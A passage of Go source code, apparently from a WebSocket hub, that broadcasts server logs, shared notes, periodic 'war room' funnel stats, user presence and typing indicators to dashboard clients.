func shortAgentID(id string) string {
|
|
if len(id) >= 8 {
|
|
return id[:8]
|
|
}
|
|
if id == "" {
|
|
return "agent"
|
|
}
|
|
return id
|
|
}
|
|
|
|
// BroadcastServerLog streams a server log line to connected dashboards.
|
|
func (h *WSHub) BroadcastServerLog(line string) {
|
|
line = strings.TrimSpace(line)
|
|
if line == "" {
|
|
return
|
|
}
|
|
h.broadcastDashboard(Message{
|
|
Type: "server_log",
|
|
Payload: mustMarshal(map[string]string{"line": line}),
|
|
})
|
|
}
|
|
|
|
// BroadcastEmberwakeNotes pushes shared Emberwake notes to all dashboard clients.
|
|
func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) {
|
|
h.broadcastDashboard(Message{
|
|
Type: "emberwake_notes_updated",
|
|
Payload: mustMarshal(notes),
|
|
})
|
|
}
|
|
|
|
// warRoomBroadcastInterval is the Emberwake war-room WS tick (overridable in tests).
|
|
var warRoomBroadcastInterval = 30 * time.Second
|
|
|
|
// runWarRoomBroadcast pushes funnel stats to dashboard clients every 30s.
|
|
func (h *WSHub) runWarRoomBroadcast() {
|
|
if h.db == nil {
|
|
return
|
|
}
|
|
ticker := time.NewTicker(warRoomBroadcastInterval)
|
|
defer ticker.Stop()
|
|
for range ticker.C {
|
|
data, err := h.db.ListWarRoom(7)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
h.broadcastDashboard(Message{
|
|
Type: "emberwake_war_room",
|
|
Payload: mustMarshal(data),
|
|
})
|
|
}
|
|
}
|
|
|
|
type wsPresenceEntry struct {
|
|
User string `json:"user"`
|
|
Page string `json:"page"`
|
|
Online bool `json:"online"`
|
|
Ts int64 `json:"ts"`
|
|
}
|
|
|
|
func (h *WSHub) presenceSnapshotLocked() []wsPresenceEntry {
|
|
byUser := make(map[string]wsPresenceEntry)
|
|
for _, dc := range h.dashboards {
|
|
if dc.Username == "" {
|
|
continue
|
|
}
|
|
page := dc.Page
|
|
if page == "" {
|
|
page = "/dashboard"
|
|
}
|
|
byUser[dc.Username] = wsPresenceEntry{
|
|
User: dc.Username,
|
|
Page: page,
|
|
Online: true,
|
|
Ts: time.Now().UnixMilli(),
|
|
}
|
|
}
|
|
out := make([]wsPresenceEntry, 0, len(byUser))
|
|
for _, e := range byUser {
|
|
out = append(out, e)
|
|
}
|
|
return out
|
|
}
|
|
|
|
func (h *WSHub) broadcastPresenceUpdate(user, page string, online bool) {
|
|
if user == "" {
|
|
return
|
|
}
|
|
h.broadcastDashboard(Message{
|
|
Type: "presence_update",
|
|
Payload: mustMarshal(wsPresenceEntry{
|
|
User: user,
|
|
Page: page,
|
|
Online: online,
|
|
Ts: time.Now().UnixMilli(),
|
|
}),
|
|
})
|
|
}
|
|
|
|
func (h *WSHub) broadcastNotesTyping(user string, active bool) {
|
|
if user == "" {
|
|
return
|
|
}
|
|
h.broadcastDashboard(Message{
|
|
Type: "notes_typing",
|
|
Payload: mustMarshal(map[string]interface{}{
|
|
"user": user,
|
|
"active": active,
|
|
"ts": time.Now().UnixMilli(),
|
|
}),
|
|
})
|
|
}
|